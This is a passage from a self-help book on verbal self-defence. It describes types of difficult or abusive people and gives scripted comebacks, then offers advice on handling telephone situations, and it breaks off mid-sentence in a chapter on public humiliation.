jealousy. Envy seeks to destroy. It causes one to do extremely harmful things to others—always in a
manipulative manner, behind the person's back.
Like the Lamb to Lion, these people are among the scariest, because they act one way and really are another
way. Usually fawners, they are overly effusive and overly complimentary about you; they have “sugar on their
lips” but “salt in their eyes.”
They are sneaky, clandestine, and incredibly passive-aggressive. They do whatever they can to get ahead. They
don't care whose toes they step on, but they do it gingerly,

Page 242
carefully, and unobtrusively. When you find out that the person who sang your praises to your face was
definitely not singing your praises behind your back, you are often in shock.
So how do you recognize these sneaky plotters? First, watch what they say about others. If they are friendly to
others and then trash them, rest assured that you are next. Secondly, if they are overly effusive with you and
with everyone else, watch out!
A rather effective approach is to use the Direct Confrontation Approach combined with a little humor. This
way, you let them know that you are onto their backstabbing ways; this will often shock them back! The
following “Talk Back!” section lists some examples of what you can say in order to “bust them” so that they
get the message.
Talk Back
Snappy Comebacks for Backstabbing Enviers!
You can start with a common phrase you have heard many times before: “With
friends like you, who needs enemies?”
“Wow! You certainly rolled out the carpet for me one day, and then pulled it out
from under me the next.”
If you caught them in the act and they committed a rather serious crime that really ruined you, your reputation,
or your livelihood don't hesitate to Give 'Em Hell and Yell. That will definitely shock them as they usually
won't expect it! Let your anger out! Go for it! Just remember what I keep drilling into your head throughout
this book. The only way to truly get back at someone is through verbal self-defense. Avoid at any cost using
physical means to express your anger.
Hitting-Below-the-Belt Abusers.
Like the Backstabbing Envier, these people will not hesitate to tell people what you have told them in
confidence. However, unlike the Backstabbing Envier, these dangerous Hitting-below-the-Belt Abusers will
bring up these most intimate confidences right back in your face. What they say will shock you. It will feel as
though a stun gun just shot you or a swarm of bees stung you. All the blood seems to drain from you as you
become numb. Your ears cannot believe what they just said!
You may have told them something that you were embarrassed about, like being a bedwetter as a child, or
something that you were sensitive about, such as your weight,

Page 243
only to hear it back in either direct-aggressive form (especially after a disagreement), or in passive-aggressive
form: “I was only kidding.” No matter what the form, it is definitely “verbal murder,” which I discussed at the
beginning of this book.
Here is where your facial cues can be your best weapon. Look at the person with disgust, narrowing your eyes
and staring them right in the face. Be silent! Say nothing! Here is where silence truly is golden. Do the Tension
Blowout Strategy! Take the breath in, hold it, and then slowly let it out! You will gain control, and the silence
will often make them fumble and bumble. They will feel extremely uncomfortable.
The ideal way of retorting to someone who drops the shocking verbal bomb is to use the Calm Questioning
Technique by asking them questions such as those listed in the following “Talk Back!” section.
Talk Back
Snappy Comebacks for Hitting-below-the-Belt Abusers
“Are you really so low that you would have to resort to throwing back to me
something I told you in my deepest confidence?”
“How do you think it makes me feel when I trusted you with my heart and
soul?”
“Are you willing to win an argument or be right at all cost—even at the risk of
destroying another person?”
“Do you feel better now that you deeply hurt me?”
“That stings”!”
“You won!”
How can a person ever trust another person who betrayed her in such a verbally poisonous way? It is very hard
to do. Even though you both may shake hands and bury the hatchet, the relationship can never be the same.
You can never trust him again! So beware and be aware!
Verbal Interrogators
Like the Control Freak, these interrogators need to be in control!
They try to gain that control and “trip you up” by bombarding you with questions! No matter how stable you
think you are, you usually find yourself thrown off-center. You find yourself answering questions that you
never had any intention of answering!

Page 244
These Verbal Interrogators have a way of getting things out of you by asking such rapid-fire questions. Often,
the questions are so intimate and invasive that they shock you to the point that your guard is down. They do
this to establish their power in their attempts to intimidate you. When you finally accommodate them with
answers, they feel tremendous power over you.
The first thing you have to do is to get yourself back on strong footing. You have to regain control of yourself.
You can only do this by slowing down. Don't allow them to make your head spin! Immediately do the Tension
Blowout strategy. Immediately stop! Take a breath in, and as you breathe out say to yourself “No, I'm not
gonna answer” or “I'm in control” or “No, no, no!”
Now use the Direct approach, smiling all the while. Ignore their loud voice and barrage of questions. Just keep
breathing and keep talking over them! You can combine the Direct Confronting approach with some humor,
but make sure that you take control! Don't get caught up in the frenzy of their tones and verbal bullets. You will
find in the “Talk Back!” section some actual things you can say to the Verbal Interrogator that are designed to
put them back in their place and let them know that you will not fall prey to their verbally bullying tactics.
Talk Back: Snappy Comebacks for Verbal Interrogators
(Smile as you say) “I feel like I'm on the spot here!”
“Let me digest one question at a time before you ask me another.”
“You are going too fast for me.”
“That's way too personal a question for me to answer.”
“I don't feel like answering that.”
“Why do you want to know that?”
“I feel like I am being interrogated.”
Another technique to use is the Mirror Technique. Interrogate them back. Ask them the same questions they
ask you in a rapid-fire motion. Usually, they will get the message!
Fanatics and Zealots
I'm not talking about a Star Wars fanatic or a person obsessed with a certain product or event! I'm talking about
someone who is so obsessed with another person or with a
Page 245
point of view—a belief system—that he is a real danger to others. Any extreme in any group is dangerous,
whether it be religious, political, or social. They are scary because they see only one thing. They have a
Cyclops view of the world: anyone who disagrees is the enemy. Often, the fanatic is out of his or her mind.
They may be mentally or emotionally disturbed, so you must not take them lightly. There is no convincing
them. There is no having a dialogue with them! It is their way or no way! They are very similar to the Control
Freak in this regard.
Since there is usually no way with these people unless you agree with them, you are in a losing battle. If you
are forced to work with them because your livelihood depends upon it, do the Tension Blowouts combined
with the Fantasy strategy. Imagine them tongueless or locked away in a padded cell for life—anywhere, just as
long as it is away from you! If you have a choice in the matter, UNPLUG! Leave! Adios! Goodbye! Sayonara!
Go—and don't look back!
If they continue to verbally harass you, a court system can help put a stop to it via restraining orders. If they
continue to verbally harass you, tape record their calls on your answering machine, since in many states you
may use this for evidence against them. They may be facing jail time if they persist! You may even want a
legal representative to make them aware of this if appropriate.
Yes-Yes Do-Nothings
These passive-aggressive people may seem benign, like they wouldn't hurt you, but often no action is as
horrible as destructive action. Often, just like the Backstabbing Enviers, they may harbor a lot of hidden
resentment or anger towards you. That anger is shown in the form of their saying “yes” to your face but doing
nothing about it!
If this behavior seems to be the norm, trust will be nonexistent. The only thing you can trust about them is that
they will do nothing because they either can't decide what to do, or they just don't want to do it. However, in
both cases, they will lead you to believe that they will do it. Don't be fooled.
The most important thing when dealing with this type of dangerous person is to let them know that you are on
to them! They are so upsetting. They can mess up your plans. They can destroy your emotions. They can
devastate your hopes and dreams.
Page 246
They may have led you on with “yes” after “yes” so that you think that you are going in one direction. You
make plans for that direction, when that wasn't the direction they planned at all. As a result, you are left
“holding the bag”—basically fooled! When they say “yes-yes,” you need to use the Direct Confrontation
Techniques with them. You need to let them know that, based on your past experiences with them, they said
“yes,” you depended on them to do something, but they never carried it out. If it happened on several
occasions, let them know that you find it difficult to trust them.
Now you may want to employ the Calm Questioning Technique by asking them if there is any way you can
help them arrive at a decision. Ask them if you can help them do something to make it easier on them. Get
some specifics from them, some time deadlines! Ask direct questions concerning when they think it will be
done or what will be happening. Then check up and see if it is done as you approach the specified deadline.
This is done so that you can be assured it will be done on time.
Talk Back
Snappy Comebacks for Yes-Yes Do-Nothings
“When will it be done?”
“When can we expect this to be completed?”
“Are you sure this is going to happen?”
“I would really like to know one way or the other.”
“Do you need my help on anything?”
“Perhaps I may be sounding pushy, but I really want to make sure….”
“The uncertainty of the situation is making me feel uncomfortable.”
“Is there anything I can do to make sure it will happen?”
“Does ‘yes’ really mean ‘yes’ or does it mean ‘maybe’ or ‘no?’”
“Does ‘yes’ mean ‘no, I'm not gonna do anything?’”
“I would be more focused and productive if you could give me a definite
answer.”
Page 247
If you don't get an answer one way or another, it is way too frustrating to do business with this person. Even if
you are related to them or they are a friend, it is impossible to be around them, for the simple reason that you
can't depend on them.
If you have tried the snappy comebacks or a direct confrontation with a yes-yesser and they still aren't
following through for you, it might be time to unplug.
The Mentally/Verbally Disturbed
This is the most difficult group. On one level you feel sorry for them, because they can't help it; on the other
hand, if you are around them long enough and don't know how to communicate with them, they will drive you
insane. They should never be underestimated in terms of their intelligence. Mentally or emotionally challenged
individuals are often smarter and more aware than they are given credit for.
The problem with them often lies with the biochemistry in their brain functions. Biological components,
coupled with psychological and environmental dynamics, affect what type of socially unacceptable behavior
may occur. Being around them is extremely draining, and unless they are under medical supervision, life with
them can be a living hell.
They may be suffering from depression ranging from chronic to acute. They may always seem gloomy, which
is very taxing to be around. Like others who suffer from mental and emotional dysfunction, they many need to
be treated medically.
Others may be self-destructive or have alcohol- or drug-related problems. Some may have bipolar disorder
mood swings or something more severe, such that they cannot relate to people at all (such as borderline
personality disorder), or they may be completely out of touch with reality (suffering from a condition such as
schizophrenia).
With all of the individuals who have mental-verbal disturbances, you need to use the Direct Confront
Technique coupled with a lot of Love and Kindness! Because they are usually so emotionally tender, fragile,
and even raw, they need to be handled with the utmost sensitivity, caring, and empathy. It is imperative that
you encourage them and even help them to get into some type of program that can help them.
If the person has drug, alcohol, or gambling problems that require outside help, whether in the form of AA, a
rehabilitation program, a therapist, or a combination of all three, you must use loving and encouraging tones.
Sometimes you may have to employ more of a “tough love” technique with harsher and more severe tones so
that they will hear you. Whatever the case, you need to be direct and loving.

Page 248
The same holds true for those with the other mental or emotional conditions that I just referred to. Kind and
gentle tones with love, combined with direct honesty, help to create a more secure environment, which allows
for effective healing and faster progress. One thing to remember is that people with mental conditions need not
be kept at bay, shunned, ostracized, or treated differently. In this day and age, with all the wonderful
medications available, psychopharmacologists, and psychotherapists, they can live a rich and fulfilling life just
like anyone else. Therefore, if they happen to open up to you about their condition, never hold it against them.
Never scrutinize them for the slightest waiver in their behavior or make them feel guilty or embarrassed just
because they have this life challenge.
Racist, Sexist, Verbal Xenophobes
Truly they are among the most revolting and evil of the dangerous verbal abusers. Their aim is to promote that
they are better than everyone—that everyone else around them is less than they are. They make others feel
badly.
If they take their xenophobic views to the limit, they destroy! If they can destroy with the spoken and written
word, who is to say they can't destroy physically?
There are various reasons why they hate others so much or they have targeted a specific group to hate. First,
they hate themselves, so they project their own self-hatred onto others. Secondly, they are usually envious of
the object of their hate (remember “envy seeks to destroy”). Even if you put a gun to their head and they
vehemently deny it, the fact is that they are indeed envious. They may not even be conscious of the fact that
they are being envious! Maybe deep down they are envious of the group's power, love among one another,
closeness, unique and strong culture, and their perceived ability to get ahead, to have more, get away with a lot,
or be in a more controlling position than they are in.
Page 249
Racism, sexism, and xenophobia should not be tolerated in any shape or form. Direct Confrontation and Direct
Questioning are musts; so is Unplugging. While Giving 'Em Hell and Yelling is probably justified and can
release your anger, it can also get you killed. So if you decide to Hell and Yell it, just know that there is a 50/50
chance you may end up getting hurt or hurting someone physically.
Vicarious Fantasy, Tension Blowouts, and Unplugging work best with this type of person! Sometimes you
have no choice but to be around these miserable creatures. Your best bet is to Unplug anytime you can—leave,
let go, and never look back!
Verbal Lumberjacks.
Verbal Lumberjacks spend a good part of their time cutting others down. They may even be humorous, but
they are not so funny when they are cutting you down. It is degrading and demoralizing. These people are
arrogant, mean, and highly disrespectful. They seem to always find fault with everyone. Nothing is sacred. If
they do give a compliment (a very rare occurrence), it will definitely be back-handed.
The basis for these Verbal Lumberjacks' barbs is their insecurity. They are so full of self-loathing and are so
afraid about what others think about them that they try to beat them to the punch—cut the other person down
first.
Humor is one of the best ways to call the Verbal Lumberjack's bluff. Sometimes they will laugh with you, but
most of the time they won't. They can readily dish it out, but because they are so insecure, they have a hard
time taking it. When you do dish it back to them in the form of the Mirror Technique coupled with humor,
however, they will definitely get the message. It will come as a big surprise if they still continue their cutting
ways in front of you.
The Calm Questioning Technique may also be a good strategy to use. As soon as they make a cutting remark
about another person, don't laugh, chuckle, or in any way indicate that you agree with them. Instead, ask them a
serious question about what they said and keep asking questions to their every negative response until they get
so frustrated and finally get the point you are trying to make. See the example in the “Talk Back!” section that
follows. In essence, you are cross-examining them, and when they see how illogical their words are, they will
usually keep their mouths shut (at least in your presence for the time being)!
Page 250
Talk Back
Verbal Lumberjack (VL): “Look at that fat girl over there!”
You: “Why do you call her fat?”
VL: “Look at her! She looks like a pig!”
You: “Why does it bother you to look at her?”
VL: “Cuz she makes me sick! Women aren't supposed to look like that.”
You: “Don't you look beyond her weight to see if she's good person inside?”
VL: “No! I wouldn't want to know a person who had no self-control. She's
probably a mess!”
You: “So, you find all overweight people looking like pigs and messes?”
VL: “That's about right!”
You: “So, since your mother is overweight and even you have that little tummy,
would you say that you and your mom look like pigs and are messes?”
VL: (MOUTH OPEN, S-I-L-E-N-C-E!!!)
When the Verbal Lumberjack cuts you down, it is either because you have something they want or represent
something that they cannot face. In any event, they feel inadequate around you. Therefore, having this added
knowledge may allow you to be more sensitive towards their plight and perhaps sprinkle them with a little of
the old Love and Kindness Technique.
Nosybodies
These people can destroy your life forever. They can spread rumors about you that can damage your character
and destroy your reputation, and you may never be able to recover from the repercussions. The consequences
of their verbal damage may resonate and travel over great distances over long periods of time, thus potentially
ruining your life forever!
They usually have so little going on in their own lives that they have to get involved in other people's lives to
stir up some action. This enables them to entertain themselves at the other person's expense!
First of all, let them know that you are onto them and that you won't take their butting in anymore. Directly
Confronting them is your best move. You can also Calmly Question them using a combination of these two
tactics along with humor.
Sometimes they will not hear you, so you have to Give 'Em Hell and Yell. You have to talk very loud so they
Page 251
finally get it! Just let it go! They will think twice about bringing your name up again. If they do, at least they
will take extra precautions to make sure that the dirt doesn't get back to you!
You cannot Unplug without letting them know that they are jerks for what they did and for what they said
about you! Only after you let them know that you're onto their little game can you feel free to Unplug from
them!
Page 253
PART 6
DODGING VERBAL BULLETS IN SPECIFIC BATTLEFIELDS
Now you know how to identify your verbal enemy, arm yourself verbally, and use all the possible strategies
with which to defend yourself. You understand which tactics to use against specific people you may confront
throughout your life, and the specific verbal defense tactics to implement against different types of verbal
vermin.
In this part of the book you learn how to verbally handle yourself in any situation that may come your way. You
will learn what to say in any situation, from the most benign to the hairiest.
After reading this part, you will never again be at a loss for words! No situation will ever leave you with your
tongue hanging out of your mouth or your brain spinning. You will never be mute, whether on the phone, in a
business meeting, or in the bedroom.
You will know exactly what to say, whether you are breaking bad news or receiving it. You will learn how the
words you use in specific situations can actually save your life. Finally, you will learn what to say in the most
important situations in your life—when you are talking about YOU!
Page 255
Chapter 20
Verbal Defense over the Telephone
The telephone can be your best friend. It can be a great source of pleasure as it helps you accomplish things
like making money, enhancing business contacts, exploring career opportunities, purchasing things you need,
and connecting with friends, family, and loved ones.
But there are times when the telephone can be your worst enemy. It can be a source of tension and
unhappiness!
In this chapter you learn exactly what to say in just about any situation you will face over the telephone. Some
of the scenarios you'll read about will ring close to home. You, along with just about everyone else who has a
telephone, have experienced these things at one time or another.
The unique aspect of this chapter is that not only do I discuss the specific telephone scenario with which you
can identify and then share with you all of your viable verbal defense options, but I tell you exactly what to say.
Nine times out of ten it will work for you, so go for it!
Page 256
Pesky Persistent Telephone Sales Calls.
You're home from a long day's work at the office. You throw off your shoes, plop down on the sofa, and smile
with relief. All of a sudden, the phone rings. Since you're not expecting any phone calls you wonder who it
could be: your mom, your best friend, your girlfriends, your guy friends! In any event, you still have a smile on
your face as you say “hello” in your bouncy, upbeat tone. Suddenly your smile turns upside down. It is a
salesperson, and she won't stop talking! She is reciting her obviously rehearsed pitch for you to change to her
telephone service. You try to get a word in edgewise to tell her you're not interested, but you can't! She just
keeps talking and talking and talking and talking!
Before I tell you what to say to pesky sales people, I need to point out that not all salespeople are pesky.
Telephone solicitation is not necessarily a bad thing. In fact, it may be a wonderful thing! It may be a
wonderful way of doing business! It is wonderful to have someone call you up and tell you about a product or a
seminar that you were thinking about or that you thought sounded interesting after hearing their pitch. There is
nothing more wonderful than to have purchased or to have signed up for a product that positively enhanced
your life in some way.
I am not talking about the polite salesperson who is kind and thoughtful! I am talking about the person who
calls at inopportune times, who won't take “no” for an answer as he tries to browbeat or shame you into a sale.
So what are you supposed to do when the salesperson won't stop talking? Your first step is to interrupt them in
a LOUDER voice than they are using. Say the following: “I am NOT interested now. I will NOT be interested
later. So PLEASE NEVER CALL AGAIN!” Since they might call again (days, weeks, or months later), before
you hang up, ask where the main office or headquarters of their company is based. Ask for the phone number.
Ask for his supervisor. Try to get as much information as possible out of her. In order to do this, you must
sound kind, pleasant, cooperative, and polite. If she is reading from a rehearsed script, tell her that before she
sells you something, you need to know this information.
Chances are, she won't know it. Therefore, you will need to speak to her supervisor or to the supervisor's
supervisor. No matter how you obtain it, get the information! Call the company's headquarters and get taken off
their phone list. If they persist threaten them legally. Then hang up on them!
Page 257
Slick Willy
Has anyone ever tried to sell you something over the telephone you didn't want to buy but did anyway? Maybe
they intimidated you into giving money to charity or to a religious cause—perhaps even a great cause.
The person on the other end of the phone was such a great talker. Maybe it was his slickness or bravado. His
voice sounded so rich and resonant, words flowing, full of enthusiasm, and confidence. How could you even
dream of saying no? Before you knew it, you had pulled out your Visa and recited the expiration date on your
card.
Before you start to max out your credit cards, STOP! BREATHE IN! LISTEN! Next, STOP! BREATHE IN!
ASK! Ask questions. Ask about the product, the charity, the event. As soon as you have acquired enough
information, tell the slick-voiced soul that you will be right back. LEAVE FOR A MOMENT! DON'T GET
CAUGHT UP IN THE MOMENTUM! Get a drink of water, walk to the door, then walk back to the phone. Do
anything. Just don't get sucked into a trance by his hypnotic, slick, all-knowing tones.
Tell him you'll call him or that you'd like to think about it. If he persists and tries to intimidate, pressure, or
shame you, say the following: “Listen, I heard everything you said. You sound like you really know what you
are talking about. I respect you for that. Now you have to respect me and give me some time to think about it
and to let ME call YOU if I choose to get involved in this (charity, purchase, whatever).
Here is where you may start to see his true colors. The once-polite, slick-voiced, credible-sounding person may
turn into a verbal monster with a mean staccato or harsh voice that sounds as though he is annoyed with you
because you wasted his time. If you hear this voice, tell him you are through talking and need to hang up now.
Then hang up the receiver.
Unhelpful Helpers
Have you ever made a telephone call to someone to either obtain information or get proper service (discussed
earlier in Chapter 16) who was doing neither? Did she have a snippy tone and a snotty attitude, as though she
was doing you a huge favor just
Page 258
talking to you? Did the person frustrate you so much that you wanted to crawl through the telephone lines and
choke her? Guess what? I can guarantee you that practically everyone else has felt the same way you have!
Be direct. Say “Please help me! Please, I really need help!” If she says, in her snippy, obnoxious little tone, “I
m trying to help you!” say, “Well, I don't feel helped. I feel hindered.” (Then go off on her as you continue to
spew forth how upset you are.) “ … I feel upset, I feel terrible, I feel frustrated. I feel like I am lost and that
there is no way out! Help me! Please help me!” (This is even more effective if it is done in a crying or whining
tone, as annoying as that may seem it seems to elicit more sympathy.)
This type of talk usually causes people to try their best to help you. They will try to hurry up and accommodate
you just to get you off the phone. They may even get so weirded out by you that they may call their supervisor
into the picture to help, which is what you wanted all along. Now at least someone with less of an attitude can
perhaps solve your disaster.
Speaking of attitude, if someone over the phone has a bad attitude and is short or fresh or abrupt with you, you
can bet that most likely it has nothing to do with you! Why would it? They don't know you. They can't even see
you! Maybe they got into a fight with a boyfriend or wife. Maybe their tummy hurts. Maybe they spent their
entire life savings on lottery tickets and lost! Who knows why? But just to make sure it isn't you, check in.
Check in nice and friendly. As soon as they give you attitude about it, say “sounds like you're having…”: a)
“bad day,” b) “a long day,” c) “a stressful day,” d) “a hard day,” or say e) “a lot of these hassles are like mine
today.” Take your pick.
Another way to get results is to consistently maintain a sweet, polite, kind attitude with a pleasant tone.
Usually, good outweighs evil, so you will see some positive changes in them after a short while. They usually
do come around if you can stay strong enough and stay on your verbally positive course long enough.
Go Ahead—Blame It on the Phone!
The phone can be your best scapegoat in allowing obnoxious sounding people, like the annoying verbal abusers
we discussed in Chapter 17, off the hook. It enables them to save face, while at the same time allowing you to
get your point across so that you won't have to listen to their grating sounds: sounds as annoying as fingers
raking across a chalkboard.
Page 259
Oh No! I Need Some New Eardrums!
You feel as though you are in desperate need of an eardrum transplant after a loud talker blew your eardrums
out with his booming voice on the other end of the phone line. What do you do? You blame it on the phone!
Had you known to do this before, you wouldn't have needed that eardrum transplant after all! The second your
head jolted away from the phone receiver you should have blurted out, “Your voice seems to be coming across
so loudly on this end of the receiver. It's probably the phone! Perhaps if you speak really softly I can hear you
better.” Whenever they speak in their loud tone, just keep blaming it on the phone until they speak softer. What
you are in essence doing is conditioning them to speak to you in a softer voice.
See, you have been a diplomat! You have gotten what you wanted (healthy eardrums) and allowed them to save
face at the same time. You have blamed their obnoxious tones on the poor technology of your telephone.
Huh? Huh? Huh? Huh?
What happens if the person talks too softly? Once again, blame it on the telephone. Tell them that your
telephone is very sensitive (it's not a lie—all telephones are sensitive and require that the person speak directly
into the mouthpiece). And voilà—you can finally hear the person. It's magic!
What in the World Did They Say?
You can't understand the person because she mumbles or speaks too fast. Whose fault is it that you don't
understand them? Why, it's the telephone's, of course! Tell the problem talker that you don't want to keep
asking to have things repeated and that your phone may not be able to pick up everything they say. This, too, is
not a lie. Since they mush up their words or talk a mile a minute, how can you, on the other end of your phone,
pick up what they are saying? When you tell them to speak extra slowly because you don't want to miss a word
they say, their speech often slows down dramatically.
Help! I'm Gonna Drown in a Sea of Words!
What about those who are too wordy or who speak too slowly? When you notice them getting a bit too
verbose, long-winded, or taking up too much verbal time, tell them that your phone lines can disconnect, so it's
very important to get to the point a little faster than they normally would.
Page 260
Once again, this is not a lie. Phones lines have been known to cut off, especially during a power outage, power
surges, snow, hail, rain, or thunderstorms, earthquakes, tornadoes, heat waves, floods, fires, lightning, and
other natural disasters. You never know when one of these disasters will actually hit and possibly cut off your
connection.
They could be engaging in one of their long-winded tales and then where would you be? Unable to have heard
their entire story, because your phone cut out. Who's to say that this wouldn't happen when you are talking to
them?
By making them aware of the possibility of the phone line being cut off, you have accomplished your goal—to
make them get to the point and not bore you to death! By the way, you don't have to go through all the
preceding reasons as to the different possible reasons why the phone lines could be cut off.
I Gotta Go, I Gotta Go, I Gotta Go, I Gotta Go!
Before you get all bent out of shape at the poor person who won't get off the phone—the one who doesn't seem
to ever want to hang up the receiver when they talk to you—you need to consider two things.
First of all, they might be suffering from a psychological issue known as “separation anxiety.” This usually
stems from a problem in early childhood, which may deal with early abandonment issues. Obviously this is not
your problem and you don't have the time or the energy or the training to deal with this. The second reason is
that they like you. They really like you! They like you so much that they don't want the moment to end. They
don't like being away from you!
Why have I told you this? Because just knowing this often gives you a new insight so you have a little more
compassion and may give them a little more “phone time” than you normally would.
What do you say to the person who won't get off the phone? You have told them a million times that you have
to go and they turn a deaf ear to the phone line. Once again, you can blame it on the phone. This option is the
same one you used with the person who talks too much. Say that your phone can cut off.
When you know that Mr. or Ms. Chatterbox has called, don't be rude to them. You just never know when they
may be revealing something of major importance or value to you. You need to greet them in a cheery and
upbeat tone and hear them out for a few moments. But set a time limit—let's say three minutes. When those
three minutes are over, politely edge in the sentence “I'd love to spend more time talking, but I have to get
ready to leave.”
If you can't spit this phrase out because they are so consumed by what they are saying as they talk over you,

Page 261
keep repeating their name over and over in a calm tone. They will definitely get it. If you tell them enough
times that you can speak to them only for a moment and really stick to your word, you will be conditioning
them. They will eventually understand that when they call you, it's gonna be short and sweet.
I Got Your Machine! You Sound Silly!
Please, please, please! (I am really pleading with you—my hands are clasped together and there is a serious
look on my face. My brows are furrowed and I look disgusted!) I, along with everyone else who has called
your machine, has cringed when we listened to your answering machine message.
The joke on your machine you think is so funny? Well, guess what? It isn't. It's silly and makes you look
ridiculous!
That song you think is so hip because you love the lyric? Well, guess what? Not everyone likes rap music
forced down their ears, and surprise—nobody can even hear the lyrics!
I know that your happy little Johnny has finally learned to put some sentences together and how cute you think
he sounds. But guess what? Nobody else thinks he sounds cute! They cringe at the sound of his high-pitched,
drooly-wet, sing-song tone that nobody but you can understand. When we hear you coaching him to say
“Goodbye, talk to you later,” we are convinced that you should drag him to the nearest speech therapist as soon
as possible!
Phone machines are not designed to reflect your personality or unique talents. We don't care that you can sing
opera, play the flute or guitar, or do impersonations of famous people (most of whom are dead). We don't care
about the bells or the whistles! All we care about is that you got the message that we called and that you will
return our call when you hear our message. That's it! NO MORE! NO LESS!
Time to Change the Message.
You have to get this message across to the other person. Granted, this is not the easiest task to do, especially if
someone has spent a lot of time perfecting their lousy, ridiculously embarrassing piece of laughable garbage
they call a phone message.
Depending on the type of person they are, you may want to start with the humor approach. Try to make a joke
out of it. Say something to them connected to their

Page 262
particular sick sense of humor that would make them chuckle. You are in the right arena when you try and
match the humor that is similar to that on their phone machine. This often gives you a common bond and
allows you entry into the door of the “verbally uncomfortable.” Then you might want to say something like,
“You know, you and I find this funny, but a lot of people out there don't share our great sense of humor. In fact
most of them don't even have a sense of humor.” The ignorant message producer will usually smile and agree
with you.
Making a Great Message
Remember the old Saying KISS (“Keep it simple, stupid”)? Well, do it! The two messages I'm about to give
you are the only messages you need to use. They are simple and get the point across. You can expand on them
by asking for the times and other necessary information but remember to keep it simple.
The first sample phone message is fairly personal. The second is less personal and more to the point. Choose
whichever is more appropriate for you.
Hello, _____(I, we, name[s]) am (are) not available to take your call at the moment, but if you leave your
name, your number, and a brief message after you hear the beep (tone), your call will be returned just as
soon as possible. Thank you for calling!
It's not possible to take your call right now. If you leave your name, number, and a brief message, your call
will be returned shortly. Please leave your message after the beep. Thank you.
Speak slowly, but not too slowly. Try to sound upbeat, which means don't record it when you are not feeling
your best. Draw out each vowel for approximately one second as you flow one sound into the next. Doing this
allows you to have more crisp and articulate speech as you record your message.
Phone Munching
Let's say you have a chicken leg in your mouth when the phone rings. You pick up the phone and say “hello.”
The person on the other end identifies himself or herself. If it is someone with whom you must preserve a
professional image or do business, spit the chicken out of your mouth immediately and then begin speaking.
Do not, I repeat, do not, chew, swallow, or take another bite until your conversation is finished and you have
hung up the receiver. Under no circumstances do you tell them that they just caught you with a chicken leg in
your mouth. Ugh! No! Never!
Page 263
On the other hand, if it's a friend on the other end of the line, continue chewing, swallow, and then say, “My,
you caught me with a piece of chicken in my mouth. I was just having a little bite to eat. Do you mind if I eat
while we talk or would you prefer talking later?”
Now, that's class! You have taken them off the spot and made it their decision. For some people, having
someone chewing on the other end of the phone is not annoying at all. They never even give it a second
thought. They figure, if you're hungry, no matter where you are or what you are doing, for goodness sake EAT!
Food comes first! Go ahead. Enjoy yourself!
On the other hand, there are those who find eating while on the phone appalling. They find all that smacking
and gooing and chewing annoying, distracting, disgusting, ill-mannered, and distasteful. The bottom line is that
when you are in business mode, never eat on the phone. When you are in friendship mode, check in to see if it's
okay to eat over the phone. If it's not, don't hold it against them. Accommodate them. That's what friends do!
Choose—Them or Me?
People who talk to others while you are on the phone with them are playing some sort of a power trip with you,
or they are so unconscious that you wonder what they are doing in your life to begin with. Business people
often do this to show you what a big shot they are.
Unless it is truly urgent, it is unconscionable and one of the rudest and most disrespectful acts to talk to
someone else when you are on the phone.
Sometimes you have no choice. Interrupting the conversation midstream to tell your housekeeper to turn the
stove off because you smell smoke in the kitchen so your house doesn't burn down is just fine. Scolding threeyear-
old Johnny, who thinks it's fun to stick his hands in the toilet or his fingers into a light socket, is
understandable. What is not understandable is Johnny interrupting you every two seconds to ask you a question
and you responding to every one of his questions—much to the irritation of the person on the other line.
While every book on child language development tells you to answer your child's questions and to respond to
them verbally so that they will learn to speak well, they do not mean while you are on the phone talking to
others.
Page 264
If you are the recipient of this type of phone abuse, whether from a child or a third party, tell the person on the
other end of the line that you have to go. Tell them that you will speak later. Don't even give them a chance to
explain. In essence you are using negative reinforcement. You are punishing them for their rude, ill-mannered
behavior.
If they do this over a long period of time, abruptly tell them you have to go and then get off the phone
immediately. Believe me—they will finally get the message! When you are on the other end of the line, you
can be assured that you will have their undivided attention!
A Return Call Would Be Nice!
Everyone is busy! Actors are busy! Athletes are busy! Mayors are busy! Mothers are busy! CEOs of Fortune
500 companies are busy! Brain surgeons are busy! These busy people still manage to call back! Probably the
reason they are so successful and so well liked is because they respect others enough to call them back!
There is nothing that turns a person off in business or socially then someone who does not respond in kind to a
call! It is both rude and inhumane. It creates hard feelings and can destroy business relationships and personal
relationships forever.
If someone doesn't call you back and you need to talk to them, keep calling until you get them. If they are rude
enough to not return your call, then they won't mind that you are being rude enough to keep calling until you
get through to them.
After hearing that you have called for the umpteenth time, they will grudgingly take your call. At that time, you
say, “I am so sorry to keep calling you. I am usually not this persistent, but since I never heard from you and I
really needed to talk to you, I thought I'd call until I finally got a hold of you.”
Stop Calling Already!
Even though they may annoy you, you can't get too upset with people who call too much because they might be
lonely, they may really like you, they may be dependent upon you, or they value your judgment, opinions,
ideas, and intelligence. Therefore, they regard everything you say as gospel. They want to tell you everything
they are doing in their lives in order to get your approval. They want to take everything they are
Page 265
about to do in their lives and run it past you so that you can tell them what they should and shouldn't do and
why.
In essence, they call you so much because you have been relegated to the role of surrogate “parent.” They don't
mean to be a pest, they just feel that they can't function without you.
Page 267
Chapter 21
Verbal Self-Defense in Sticky Situations.
Before I begin this section on what to say in sticky situations, I must warn you that these words are by no
means the last word! They are merely designed to give you some general idea of what to say. You can follow
them verbatim or you can modify these helpful comments to your particular situation.
As I have expressed several times throughout the book, it is imperative that you know exactly who you are
saying these things to. Depending on who you're speaking to, it is sometimes a good idea to keep your mouth
shut. But if you do decide to speak, you can be sure that using these words can give you confidence in
defending yourself verbally.
Now you will have the words at your tongue's tip to spew forth so that you can say exactly what you meant to
say. When people try to pressure you into something you don't want to do, ask you for money, or humiliate you
in front of someone, they will be quite shocked by the person they chose as a “verbal victim.” When they hear
what you have to say to them, believe me, they will never mess with you again! They will have newfound
respect for you!
Page 268
I'm So Humiliated!
Whether it's done by a co-worker or a friend, there is no worse feeling than being humiliated in front of other
people. You feel like crawling into a hole and never coming out.
When someone does this to you, it makes you feel two feet tall—like a child. In fact, being humiliated usually
makes you regress back to your worst childhood memories—when you were feeling scared, unsure of yourself,
unloved, and unwanted. You regress into that insecure, helpless, defenseless child who has no idea what to say.
Sometimes, the insecure child decides to fight back and becomes rather defensive and even highly aggressive.
Now that we are adults, we are supposed to have more control over our emotions and how we handle people
who try to embarrass or humiliate us—but we don't! We either hang our heads in shame and say nothing, or we
lash out and attack back!
Ouch! Those Coals Are Hot!
When people rake you over the coals or try to berate you in front of someone, they are usually doing this in
order to make themselves look good or to assert their power. What they don't realize is that when they do this
to you in front of others, they usually end up making themselves look bad. The way they treat you might even
influence whether others continue to do business with them.
I have known of several people who stopped doing business with others for this reason. For instance, they have
